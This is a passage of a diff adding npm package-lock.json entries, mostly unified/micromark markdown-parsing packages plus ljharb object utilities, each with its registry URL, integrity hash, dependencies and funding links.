"sha512-xj68wMTvGXVOKonmog6LwyJKrYXZPvlwabaryTjLh9LuvovB/KAH+kvi8Gjj+7rJjsFi23nkUxRQv1KqSroMqA==",+ "dependencies": {+ "@types/mdast": "^4.0.0",+ "@types/unist": "^3.0.0",+ "longest-streak": "^3.0.0",+ "mdast-util-phrasing": "^4.0.0",+ "mdast-util-to-string": "^4.0.0",+ "micromark-util-classify-character": "^2.0.0",+ "micromark-util-decode-string": "^2.0.0",+ "unist-util-visit": "^5.0.0",+ "zwitch": "^2.0.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/unified"+ }+ },+ "node_modules/mdast-util-to-string": {+ "version": "4.0.0",+ "resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-4.0.0.tgz",+ "integrity": "sha512-0H44vDimn51F0YwvxSJSm0eCDOJTRlmN0R1yBh4HLj9wiV1Dn0QoXGbvFAWj2hSItVTlCmBF1hqKlIyUBVFLPg==",+ "dependencies": {+ "@types/mdast": "^4.0.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/unified"+ }+ },+ "node_modules/merge2": {+ "version": "1.4.1",+ "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz",+ "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">= 8"+ }+ },+ "node_modules/micromark": {+ "version": "4.0.2",+ "resolved": "https://registry.npmjs.org/micromark/-/micromark-4.0.2.tgz",+ "integrity": "sha512-zpe98Q6kvavpCr1NPVSCMebCKfD7CA2NqZ+rykeNhONIJBpc1tFKt9hucLGwha3jNTNI8lHpctWJWoimVF4PfA==",+ "funding": [+ {+ "type": "GitHub Sponsors",+ "url": "https://github.com/sponsors/unifiedjs"+ },+ {+ "type": "OpenCollective",+ "url": "https://opencollective.com/unified"+ }+ ],+ "dependencies": {+ "@types/debug": "^4.0.0",+ "debug": "^4.0.0",+ "decode-named-character-reference": "^1.0.0",+ "devlop": "^1.0.0",+ "micromark-core-commonmark": "^2.0.0",+ "micromark-factory-space": "^2.0.0",+ "micromark-util-character": "^2.0.0",+ "micromark-util-chunked": "^2.0.0",+ "micromark-util-combine-extensions": "^2.0.0",+ "micromark-util-decode-numeric-character-reference": "^2.0.0",+ "micromark-util-encode": "^2.0.0",+ "micromark-util-normalize-identifier": "^2.0.0",+ "micromark-util-resolve-all": "^2.0.0",+ "micromark-util-sanitize-uri": "^2.0.0",+ "micromark-util-subtokenize": "^2.0.0",+ "micromark-util-symbol": "^2.0.0",+ "micromark-util-types": "^2.0.0"+ }+ },+ "node_modules/micromark-core-commonmark": {+ "version": "2.0.3",+ "resolved": "https://registry.npmjs.org/micromark-core-commonmark/-/micromark-core-commonmark-2.0.3.tgz",+ "integrity": "sha512-RDBrHEMSxVFLg6xvnXmb1Ayr2WzLAWjeSATAoxwKYJV94TeNavgoIdA0a9ytzDSVzBy2YKFK+emCPOEibLeCrg==",+ "funding": [+ {+ "type": "GitHub Sponsors",+ "url": "https://github.com/sponsors/unifiedjs"+ },+ {+ "type": "OpenCollective",+ "url": "https://opencollective.com/unified"+ }+ ],+ "dependencies": {+ "decode-named-character-reference": "^1.0.0",+ "devlop": "^1.0.0",+ "micromark-factory-destination": "^2.0.0",+ "micromark-factory-label": "^2.0.0",+ "micromark-factory-space": "^2.0.0",+ "micromark-factory-title": "^2.0.0",+ "micromark-factory-whitespace": "^2.0.0",+ "micromark-util-character": "^2.0.0",+ "micromark-util-chunked": "^2.0.0",+ "micromark-util-classify-character": "^2.0.0",+ "micromark-util-html-tag-name": "^2.0.0",+ "micromark-util-normalize-identifier": "^2.0.0",+ "micromark-util-resolve-all": "^2.0.0",+ "micromark-util-subtokenize": "^2.0.0",+ "micromark-util-symbol": "^2.0.0",+ "micromark-util-types": "^2.0.0"+ }+ },+ "node_modules/micromark-factory-destination": {+ "version": "2.0.1",+ "resolved": "https://registry.npmjs.org/micromark-factory-destination/-/micromark-factory-destination-2.0.1.tgz",+ "integrity": "sha512-Xe6rDdJlkmbFRExpTOmRj9N3MaWmbAgdpSrBQvCFqhezUn4AHqJHbaEnfbVYYiexVSs//tqOdY/DxhjdCiJnIA==",+ "funding": [+ {+ "type": "GitHub Sponsors",+ "url": "https://github.com/sponsors/unifiedjs"+ },+ {+ "type": "OpenCollective",+ "url": "https://opencollective.com/unified"+ }+ ],+ "dependencies": {+ "micromark-util-character": "^2.0.0",+ "micromark-util-symbol": "^2.0.0",+ "micromark-util-types": "^2.0.0"+ }+ },+ "node_modules/micromark-factory-label": {+ "version": "2.0.1",+ "resolved": "https://registry.npmjs.org/micromark-factory-label/-/micromark-factory-label-2.0.1.tgz",+ "integrity": "sha512-VFMekyQExqIW7xIChcXn4ok29YE3rnuyveW3wZQWWqF4Nv9Wk5rgJ99KzPvHjkmPXF93FXIbBp6YdW3t71/7Vg==",+ "funding": [+ {+ "type": "GitHub Sponsors",+ "url": "https://github.com/sponsors/unifiedjs"+ },+ {+ "type": "OpenCollective",+ "url": "https://opencollective.com/unified"+ }+ ],+ "dependencies": {+ "devlop": "^1.0.0",+ "micromark-util-character": "^2.0.0",+ "micromark-util-symbol": "^2.0.0",+ "micromark-util-types": "^2.0.0"+ }+ },+ "node_modules/micromark-factory-space": {+ "version": "2.0.1",+ "resolved": "https://registry.npmjs.org/micromark-factory-space/-/micromark-factory-space-2.0.1.tgz",+ "integrity": "sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg==",+ "funding": [+ {+ "type": "GitHub Sponsors",+ "url": "https://github.com/sponsors/unifiedjs"+ },+ {+ "type": "OpenCollective",+ "url": "https://opencollective.com/unified"+ }+ ],+ "dependencies": {+ "micromark-util-character": "^2.0.0",+ "micromark-util-types": "^2.0.0"+ }+ },+ "node_modules/micromark-factory-title": {+ "version": "2.0.1",+ "resolved": "https://registry.npmjs.org/micromark-factory-title/-/micromark-factory-title-2.0.1.tgz",+ "integrity": "sha512-5bZ+3CjhAd9eChYTHsjy6TGxpOFSKgKKJPJxr293jTbfry2KDoWkhBb6TcPVB4NmzaPhMs1Frm9AZH7OD4Cjzw==",+ "funding": [+ {+ "type": "GitHub Sponsors",+ "url": "https://github.com/sponsors/unifiedjs"+ },+ {+ "type": "OpenCollective",+ "url": "https://opencollective.com/unified"+ }+ ],+ "dependencies": {+ "micromark-factory-space": "^2.0.0",+ "micromark-util-character": "^2.0.0",+ "micromark-util-symbol": "^2.0.0",+ "micromark-util-types": "^2.0.0"+ }+ },+ "node_modules/micromark-factory-whitespace": {+ "version": "2.0.1",+ "resolved": "https://registry.npmjs.org/micromark-factory-whitespace/-/micromark-factory-whitespace-2.0.1.tgz",+ "integrity": "sha512-Ob0nuZ3PKt/n0hORHyvoD9uZhr+Za8sFoP+OnMcnWK5lngSzALgQYKMr9RJVOWLqQYuyn6ulqGWSXdwf6F80lQ==",+ "funding": [+ {+ "type": "GitHub Sponsors",+ "url": "https://github.com/sponsors/unifiedjs"+ },+ {+ "type": "OpenCollective",+ "url": "https://opencollective.com/unified"+ }+ ],+ "dependencies": {+ "micromark-factory-space": "^2.0.0",+ "micromark-util-character": "^2.0.0",+ "micromark-util-symbol": "^2.0.0",+ "micromark-util-types": "^2.0.0"+ }+ },+ "node_modules/micromark-util-character": {+ "version": "2.1.1",+ "resolved": "https://registry.npmjs.org/micromark-util-character/-/micromark-util-character-2.1.1.tgz",+ "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==",+ "funding": [+ {+ "type": "GitHub Sponsors",+ "url": "https://github.com/sponsors/unifiedjs"+ },+ {+ "type": "OpenCollective",+ "url": "https://opencollective.com/unified"+ }+ ],+ "dependencies": {+ "micromark-util-symbol": "^2.0.0",+ "micromark-util-types": "^2.0.0"+ }+ },+ "node_modules/micromark-util-chunked": {+ "version": "2.0.1",+ "resolved": "https://registry.npmjs.org/micromark-util-chunked/-/micromark-util-chunked-2.0.1.tgz",+ "integrity": "sha512-QUNFEOPELfmvv+4xiNg2sRYeS/P84pTW0TCgP5zc9FpXetHY0ab7SxKyAQCNCc1eK0459uoLI1y5oO5Vc1dbhA==",+ "funding": [+ {+ "type": "GitHub Sponsors",+ "url": "https://github.com/sponsors/unifiedjs"+ },+ {+ "type": "OpenCollective",+ "url": "https://opencollective.com/unified"+ }+ ],+ "dependencies": {+ "micromark-util-symbol": "^2.0.0"+ }+ },+ "node_modules/micromark-util-classify-character": {+ "version": "2.0.1",+ "resolved": "https://registry.npmjs.org/micromark-util-classify-character/-/micromark-util-classify-character-2.0.1.tgz",+ "integrity": "sha512-K0kHzM6afW/MbeWYWLjoHQv1sgg2Q9EccHEDzSkxiP/EaagNzCm7T/WMKZ3rjMbvIpvBiZgwR3dKMygtA4mG1Q==",+ "funding": [+ {+ "type": "GitHub Sponsors",+ "url": "https://github.com/sponsors/unifiedjs"+ },+ {+ "type": "OpenCollective",+ "url": "https://opencollective.com/unified"+ }+ ],+ "dependencies": {+ "micromark-util-character": "^2.0.0",+ "micromark-util-symbol": "^2.0.0",+ "micromark-util-types": "^2.0.0"+ }+ },+ "node_modules/micromark-util-combine-extensions": {+ "version": "2.0.1",+ "resolved": "https://registry.npmjs.org/micromark-util-combine-extensions/-/micromark-util-combine-extensions-2.0.1.tgz",+ "integrity": "sha512-OnAnH8Ujmy59JcyZw8JSbK9cGpdVY44NKgSM7E9Eh7DiLS2E9RNQf0dONaGDzEG9yjEl5hcqeIsj4hfRkLH/Bg==",+ "funding": [+ {+ "type": "GitHub Sponsors",+ "url": "https://github.com/sponsors/unifiedjs"+ },+ {+ "type": "OpenCollective",+ "url": "https://opencollective.com/unified"+ }+ ],+ "dependencies": {+ "micromark-util-chunked": "^2.0.0",+ "micromark-util-types": "^2.0.0"+ }+ },+ "node_modules/micromark-util-decode-numeric-character-reference": {+ "version": "2.0.2",+ "resolved": "https://registry.npmjs.org/micromark-util-decode-numeric-character-reference/-/micromark-util-decode-numeric-character-reference-2.0.2.tgz",+ "integrity": "sha512-ccUbYk6CwVdkmCQMyr64dXz42EfHGkPQlBj5p7YVGzq8I7CtjXZJrubAYezf7Rp+bjPseiROqe7G6foFd+lEuw==",+ "funding": [+ {+ "type": "GitHub Sponsors",+ "url": "https://github.com/sponsors/unifiedjs"+ },+ {+ "type": "OpenCollective",+ "url": "https://opencollective.com/unified"+ }+ ],+ "dependencies": {+ "micromark-util-symbol": "^2.0.0"+ }+ },+ "node_modules/micromark-util-decode-string": {+ "version": "2.0.1",+ "resolved": "https://registry.npmjs.org/micromark-util-decode-string/-/micromark-util-decode-string-2.0.1.tgz",+ "integrity": "sha512-nDV/77Fj6eH1ynwscYTOsbK7rR//Uj0bZXBwJZRfaLEJ1iGBR6kIfNmlNqaqJf649EP0F3NWNdeJi03elllNUQ==",+ "funding": [+ {+ "type": "GitHub Sponsors",+ "url": "https://github.com/sponsors/unifiedjs"+ },+ {+ "type": "OpenCollective",+ "url": "https://opencollective.com/unified"+ }+ ],+ "dependencies": {+ "decode-named-character-reference": "^1.0.0",+ "micromark-util-character": "^2.0.0",+ "micromark-util-decode-numeric-character-reference": "^2.0.0",+ "micromark-util-symbol": "^2.0.0"+ }+ },+ "node_modules/micromark-util-encode": {+ "version": "2.0.1",+ "resolved": "https://registry.npmjs.org/micromark-util-encode/-/micromark-util-encode-2.0.1.tgz",+ "integrity": "sha512-c3cVx2y4KqUnwopcO9b/SCdo2O67LwJJ/UyqGfbigahfegL9myoEFoDYZgkT7f36T0bLrM9hZTAaAyH+PCAXjw==",+ "funding": [+ {+ "type": "GitHub Sponsors",+ "url": "https://github.com/sponsors/unifiedjs"+ },+ {+ "type": "OpenCollective",+ "url": "https://opencollective.com/unified"+ }+ ]+ },+ "node_modules/micromark-util-html-tag-name": {+ "version": "2.0.1",+ "resolved": "https://registry.npmjs.org/micromark-util-html-tag-name/-/micromark-util-html-tag-name-2.0.1.tgz",+ "integrity": "sha512-2cNEiYDhCWKI+Gs9T0Tiysk136SnR13hhO8yW6BGNyhOC4qYFnwF1nKfD3HFAIXA5c45RrIG1ub11GiXeYd1xA==",+ "funding": [+ {+ "type": "GitHub Sponsors",+ "url": "https://github.com/sponsors/unifiedjs"+ },+ {+ "type": "OpenCollective",+ "url": "https://opencollective.com/unified"+ }+ ]+ },+ "node_modules/micromark-util-normalize-identifier": {+ "version": "2.0.1",+ "resolved": "https://registry.npmjs.org/micromark-util-normalize-identifier/-/micromark-util-normalize-identifier-2.0.1.tgz",+ "integrity": "sha512-sxPqmo70LyARJs0w2UclACPUUEqltCkJ6PhKdMIDuJ3gSf/Q+/GIe3WKl0Ijb/GyH9lOpUkRAO2wp0GVkLvS9Q==",+ "funding": [+ {+ "type": "GitHub Sponsors",+ "url": "https://github.com/sponsors/unifiedjs"+ },+ {+ "type": "OpenCollective",+ "url": "https://opencollective.com/unified"+ }+ ],+ "dependencies": {+ "micromark-util-symbol": "^2.0.0"+ }+ },+ "node_modules/micromark-util-resolve-all": {+ "version": "2.0.1",+ "resolved": "https://registry.npmjs.org/micromark-util-resolve-all/-/micromark-util-resolve-all-2.0.1.tgz",+ "integrity": "sha512-VdQyxFWFT2/FGJgwQnJYbe1jjQoNTS4RjglmSjTUlpUMa95Htx9NHeYW4rGDJzbjvCsl9eLjMQwGeElsqmzcHg==",+ "funding": [+ {+ "type": "GitHub Sponsors",+ "url": "https://github.com/sponsors/unifiedjs"+ },+ {+ "type": "OpenCollective",+ "url": "https://opencollective.com/unified"+ }+ ],+ "dependencies": {+ "micromark-util-types": "^2.0.0"+ }+ },+ "node_modules/micromark-util-sanitize-uri": {+ "version": "2.0.1",+ "resolved": "https://registry.npmjs.org/micromark-util-sanitize-uri/-/micromark-util-sanitize-uri-2.0.1.tgz",+ "integrity": "sha512-9N9IomZ/YuGGZZmQec1MbgxtlgougxTodVwDzzEouPKo3qFWvymFHWcnDi2vzV1ff6kas9ucW+o3yzJK9YB1AQ==",+ "funding": [+ {+ "type": "GitHub Sponsors",+ "url": "https://github.com/sponsors/unifiedjs"+ },+ {+ "type": "OpenCollective",+ "url": "https://opencollective.com/unified"+ }+ ],+ "dependencies": {+ "micromark-util-character": "^2.0.0",+ "micromark-util-encode": "^2.0.0",+ "micromark-util-symbol": "^2.0.0"+ }+ },+ "node_modules/micromark-util-subtokenize": {+ "version": "2.1.0",+ "resolved": "https://registry.npmjs.org/micromark-util-subtokenize/-/micromark-util-subtokenize-2.1.0.tgz",+ "integrity": "sha512-XQLu552iSctvnEcgXw6+Sx75GflAPNED1qx7eBJ+wydBb2KCbRZe+NwvIEEMM83uml1+2WSXpBAcp9IUCgCYWA==",+ "funding": [+ {+ "type": "GitHub Sponsors",+ "url": "https://github.com/sponsors/unifiedjs"+ },+ {+ "type": "OpenCollective",+ "url": "https://opencollective.com/unified"+ }+ ],+ "dependencies": {+ "devlop": "^1.0.0",+ "micromark-util-chunked": "^2.0.0",+ "micromark-util-symbol": "^2.0.0",+ "micromark-util-types": "^2.0.0"+ }+ },+ "node_modules/micromark-util-symbol": {+ "version": "2.0.1",+ "resolved": "https://registry.npmjs.org/micromark-util-symbol/-/micromark-util-symbol-2.0.1.tgz",+ "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==",+ "funding": [+ {+ "type": "GitHub Sponsors",+ "url": "https://github.com/sponsors/unifiedjs"+ },+ {+ "type": "OpenCollective",+ "url": "https://opencollective.com/unified"+ }+ ]+ },+ "node_modules/micromark-util-types": {+ "version": "2.0.2",+ "resolved": "https://registry.npmjs.org/micromark-util-types/-/micromark-util-types-2.0.2.tgz",+ "integrity": "sha512-Yw0ECSpJoViF1qTU4DC6NwtC4aWGt1EkzaQB8KPPyCRR8z9TWeV0HbEFGTO+ZY1wB22zmxnJqhPyTpOVCpeHTA==",+ "funding": [+ {+ "type": "GitHub Sponsors",+ "url": "https://github.com/sponsors/unifiedjs"+ },+ {+ "type": "OpenCollective",+ "url": "https://opencollective.com/unified"+ }+ ]+ },+ "node_modules/micromatch": {+ "version": "4.0.8",+ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz",+ "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "braces": "^3.0.3",+ "picomatch": "^2.3.1"+ },+ "engines": {+ "node": ">=8.6"+ }+ },+ "node_modules/mime-db": {+ "version": "1.52.0",+ "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",+ "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==",+ "engines": {+ "node": ">= 0.6"+ }+ },+ "node_modules/mime-types": {+ "version": "2.1.35",+ "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",+ "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",+ "dependencies": {+ "mime-db": "1.52.0"+ },+ "engines": {+ "node": ">= 0.6"+ }+ },+ "node_modules/minimatch": {+ "version": "3.1.2",+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",+ "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==",+ "dev": true,+ "license": "ISC",+ "dependencies": {+ "brace-expansion": "^1.1.7"+ },+ "engines": {+ "node": "*"+ }+ },+ "node_modules/ms": {+ "version": "2.1.3",+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",+ "license": "MIT"+ },+ "node_modules/nanoid": {+ "version": "3.3.11",+ "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz",+ "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==",+ "dev": true,+ "funding": [+ {+ "type": "github",+ "url": "https://github.com/sponsors/ai"+ }+ ],+ "license": "MIT",+ "bin": {+ "nanoid": "bin/nanoid.cjs"+ },+ "engines": {+ "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"+ }+ },+ "node_modules/natural-compare": {+ "version": "1.4.0",+ "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz",+ "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==",+ "dev": true,+ "license": "MIT"+ },+ "node_modules/node-releases": {+ "version": "2.0.27",+ "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.27.tgz",+ "integrity": "sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA==",+ "dev": true,+ "license": "MIT"+ },+ "node_modules/object-assign": {+ "version": "4.1.1",+ "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",+ "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==",+ "dev": true,+ "engines": {+ "node": ">=0.10.0"+ }+ },+ "node_modules/object-inspect": {+ "version": "1.13.4",+ "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz",+ "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==",+ "dev": true,+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/object-keys": {+ "version": "1.1.1",+ "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz",+ "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==",+ "dev": true,+ "engines": {+ "node": ">= 0.4"+ }+ },+ "node_modules/object.assign": {+ "version": "4.1.7",+ "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.7.tgz",+ "integrity": "sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==",+ "dev": true,+ "dependencies": {+ "call-bind": "^1.0.8",+ "call-bound": "^1.0.3",+ "define-properties": "^1.2.1",+ "es-object-atoms": "^1.0.0",+ "has-symbols": "^1.1.0",+ "object-keys": "^1.1.1"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/object.entries": {+ "version": "1.1.9",+ "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.9.tgz",+ "integrity": "sha512-8u/hfXFRBD1O0hPUjioLhoWFHRmt6tKA4/vZPyckBr18l1KE9uHrFaFaUi8MDRTpi4uak2goyPTSNJLXX2k2Hw==",+ "dev": true,+ "dependencies": {+ "call-bind": "^1.0.8",+ "call-bound": "^1.0.4",+ "define-properties": "^1.2.1",+ "es-object-atoms": "^1.1.1"+ },+ "engines": {+ "node": ">= 0.4"+ }+ },+ "node_modules/object.fromentries": {+ "version": "2.0.8",+ "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.8.tgz",+ "integrity": "sha512-k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ==",+ "dev": true,+ "dependencies": {+ "call-bind": "^1.0.7",+ "define-properties": "^1.2.1",+ "es-abstract": "^1.23.2",+ "es-object-atoms": "^1.0.0"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/object.values": {+ "version": "1.2.1",+ "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.2.1.tgz",+ "integrity": "sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA==",+ "dev": true,+ "dependencies": {+ "call-bind": "^1.0.8",+ "call-bound": "^1.0.3",+ "define-properties": "^1.2.1",+ "es-object-atoms": "^1.0.0"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/optionator": {+ "version": "0.9.4",+ "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz",+ "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "deep-is": "^0.1.3",+ "fast-levenshtein": "^2.0.6",+ "levn": "^0.4.1",+ "prelude-ls": "^1.2.1",+ "type-check": "^0.4.0",+ "word-wrap": "^1.2.5"+ },+ "engines": {+ "node": ">= 0.8.0"+ }+ },+ "node_modules/own-keys": {+ "version": "1.0.1",+ "resolved": "https://registry.npmjs.org/own-keys/-/own-keys-1.0.1.tgz",+ "integrity": "sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==",+ "dev": true,+ "dependencies": {+ "get-intrinsic": "^1.2.6",+ "object-keys": "^1.1.1",+ "safe-push-apply": "^1.0.0"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/p-limit": {+ "version": "3.1.0",+ "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz",+ "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "yocto-queue": "^0.1.0"+ },+ "engines": {+ "node": ">=10"+ },+ "funding": {+ "url": "https://github.com/sponsors/sindresorhus"+ }+ },+ "node_modules/p-locate": {+ "version": "5.0.0",+ "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz",+ "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "p-limit": "^3.0.2"+ },+ "engines": {+ "node": ">=10"+ },+ "funding": {+ "url": "https://github.com/sponsors/sindresorhus"+ }+ },+ "node_modules/parent-module": {+ "version": "1.0.1",+ "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz",+ "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "callsites": "^3.0.0"+ },+ "engines": {+ "node": ">=6"+ }+ },+ "node_modules/parse-entities": {+ "version": "4.0.2",+ "resolved": "https://registry.npmjs.org/parse-entities/-/parse-entities-4.0.2.tgz",+ "integrity": "sha512-GG2AQYWoLgL877gQIKeRPGO1xF9+eG1ujIb5soS5gPvLQ1y2o8FL90w2QWNdf9I361Mpp7726c+lj3U0qK1uGw==",+ "dependencies": {+ "@types/unist": "^2.0.0",+ "character-entities-legacy": "^3.0.0",+ "character-reference-invalid": "^2.0.0",+ "decode-named-character-reference": "^1.0.0",+ "is-alphanumerical": "^2.0.0",+ "is-decimal": "^2.0.0",+ "is-hexadecimal": "^2.0.0"+ },+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/wooorm"+ }+ },+ "node_modules/parse-entities/node_modules/@types/unist": {+ "version": "2.0.11",+ "resolved": "https://registry.npmjs.org/@types/unist/-/unist-2.0.11.tgz",+ "integrity": "sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA=="+ },+ "node_modules/path-exists": {+ "version": "4.0.0",+ "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz",+ "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=8"+ }+ },+ "node_modules/path-key": {+ "version": "3.1.1",+ "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",+ "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=8"+ }+ },+ "node_modules/path-parse": {+ "version": "1.0.7",+ "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz",+ "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==",+ "dev": true+ },+ "node_modules/picocolors": {+ "version": "1.1.1",+ "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",+ "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==",+ "dev": true,+ "license": "ISC"+ },+ "node_modules/picomatch": {+ "version": "2.3.1",+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=8.6"+ },+ "funding": {+ "url": "https://github.com/sponsors/jonschlinkert"+ }+ },+ "node_modules/possible-typed-array-names": {+ "version": "1.1.0",+ "resolved": "https://registry.npmjs.org/possible-typed-array-names/-/possible-typed-array-names-1.1.0.tgz",+ "integrity": 